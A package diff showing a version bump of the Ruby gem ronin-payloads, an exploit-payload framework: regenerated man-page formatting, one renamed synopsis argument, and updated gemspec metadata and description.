data/man/ronin-payloads-encoder.1 CHANGED Viewed

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-encoder 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads encoder\fR \[lB]\fIoptions\fP\[rB] \fINAME\fP
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-encoders.1 CHANGED Viewed

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-encoders 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads encoders\fR \[lB]\fIoptions\fP\[rB] \fIDIR\fP
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-irb.1 CHANGED Viewed

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-irb 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads irb\fR \[lB]\fIoptions\fP\[rB]
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-launch.1 CHANGED Viewed

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-launch 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads launch\fR \[lB]\fIoptions\fP\[rB] \[lC]\fB--file\fR \fIFILE\fP \[or] \fINAME\fP\[rC]
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-list.1 CHANGED Viewed

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-list 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads list\fR \[lB]\fIoptions\fP\[rB] \fIDIR\fP
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads-new.1.md CHANGED Viewed

@@ -2,7 +2,7 @@
 ## SYNOPSIS
-`ronin-payloads new` [*options*] *FILE*
+`ronin-payloads new` [*options*] *PATH*
 ## DESCRIPTION
@@ -10,7 +10,7 @@ Generates a new payload file.
 ## ARGUMENTS
-*FILE*
+*PATH*
   The path to the new payload file to generate.
 ## OPTIONS

data/man/ronin-payloads-show.1 CHANGED Viewed

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads-show 1 "May 2022" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads show\fR \[lB]\fIoptions\fP\[rB] \[lC]\fB--file\fR \fIFILE\fP \[or] \fINAME\fP\[rC]
 .LP
 .SH DESCRIPTION

data/man/ronin-payloads.1 CHANGED Viewed

@@ -1,10 +1,10 @@
-.\" Generated by kramdown-man 0.1.8
+.\" Generated by kramdown-man 0.1.9
 .\" https://github.com/postmodern/kramdown-man#readme
 .TH ronin-payloads 1 "2023-02-01" Ronin "User Manuals"
 .LP
 .SH SYNOPSIS
 .LP
-.HP
+.PP
 \fBronin-payloads\fR \[lB]\fIoptions\fP\[rB] \[lB]\fICOMMAND\fP \[lB]\.\.\.\[rB]\[rB]
 .LP
 .SH DESCRIPTION

metadata CHANGED Viewed

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: ronin-payloads
 version: !ruby/object:Gem::Version
-  version: 0.1.4
+  version: 0.1.6
 platform: ruby
 authors:
 - Postmodern
 autorequire:
 bindir: bin
 cert_chain: []
-date: 2023-09-19 00:00:00.000000000 Z
+date: 2024-07-03 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: ronin-support
@@ -94,10 +94,9 @@ dependencies:
     - - "~>"
       - !ruby/object:Gem::Version
         version: '2.0'
-description: ronin-payloads is a Ruby micro-framework for writing and running exploit
-  payloads. ronin-payloads allows one to write payloads as plain old Ruby classes.
-  ronin-payloads can be distributed as Ruby files or in git repositories that can
-  be installed with ronin-repos.
+description: |-
+  ronin-payloads is a Ruby micro-framework for writing and running exploit payloads. ronin-payloads allows one to write payloads as plain old Ruby classes. ronin-payloads can be distributed as Ruby files or in git repositories that can be installed with ronin-repos.
+  It's like `msfvenom` but simpler and more modular.
 email: postmodern.mod3@gmail.com
 executables:
 - ronin-payloads
@@ -284,7 +283,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
     - !ruby/object:Gem::Version
       version: '0'
 requirements: []
-rubygems_version: 3.3.26
+rubygems_version: 3.3.27
 signing_key:
 specification_version: 4
 summary: A Ruby micro-framework for writing and running exploit payloads